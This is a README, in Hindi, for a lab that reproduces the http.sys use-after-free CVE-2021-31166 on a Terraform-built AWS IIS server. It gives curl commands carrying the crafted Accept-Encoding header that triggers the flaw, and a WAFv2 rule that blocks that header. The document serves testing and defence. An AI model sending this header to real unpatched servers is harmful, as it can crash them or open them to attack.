WIn-CVE-2021-31166

यह रेपो 0vercl0k द्वारा CVE-2021-31166 ("HTTP प्रोटोकॉल स्टैक रिमोट कोड निष्पादन भेद्यता") के लिए एक प्रूफ ऑफ कॉन्सेप्ट से प्रेरित है, जो http.sys में एक उपयोग-के-बाद-मुक्त (use-after-free) डीरेफरेंस है, जिसे मई 2021 में माइक्रोसॉफ्ट द्वारा पैच किया गया था।

बुनियादी ढाँचा बनाएँ

git clone https://github.com/bgsilvait/WIn-CVE-2021-31166.git
cd WIn-CVE-2021-31166
terraform init
terraform plan
terraform apply --auto-approve

टेराफॉर्म Windows Server Core 20H2 के साथ एक EC2 इंस्टेंस बनाएगा, IIS स्थापित करेगा और AWS कंसोल से Web Powershell Session खोलने के लिए SSM अनुमतियाँ जोड़ेगा। यह एक Application Load Balancer भी बनाएगा और इंस्टेंस को लक्ष्य के रूप में उपयोग करेगा। डिफ़ॉल्ट रूप से Security Group HTTP पर पहुँचने की अनुमति के लिए केवल आपका IP जोड़ेगा।

मान प्राप्त करें

#Define Values from Terraform Output
ALB=$(terraform output -raw lb_dns_name)
EC2IP=$(terraform output -json public_ip | jq -r '.[0]')

कनेक्टिविटी का परीक्षण

#Testing to ALB
while true; do curl -I $ALB --connect-timeout 1 ; done

#Testing Directly to EC2'
while true; do curl -I $EC2IP --connect-timeout 1 ; done

CVE हेडर इंजेक्ट करें

#Testing to ALB
curl -i $ALB -H "Accept-Encoding: doar-e, ftw, imo, ,"

#Testing Directly to EC2'
curl -i $EC2IP -H "Accept-Encoding: doar-e, ftw, imo, ,"

AWS WAFv2 के लिए ब्लॉक करने का नियम

{
  "Name": "cve-block",
  "Priority": 0,
  "Statement": {
    "ByteMatchStatement": {
      "SearchString": "doar-e, ftw, imo, ,",
      "FieldToMatch": {
        "SingleHeader": {
          "Name": "accept-encoding"
        }
      },
      "TextTransformations": [
        {
          "Priority": 0,
          "Type": "NONE"
        }
      ],
      "PositionalConstraint": "EXACTLY"
    }
  },
  "Action": {
    "Block": {
      "CustomResponse": {
        "ResponseCode": 418,
        "CustomResponseBodyKey": "418"
      }
    }
  },
  "VisibilityConfig": {
    "SampledRequestsEnabled": true,
    "CloudWatchMetricsEnabled": true,
    "MetricName": "cve-block"
  }
}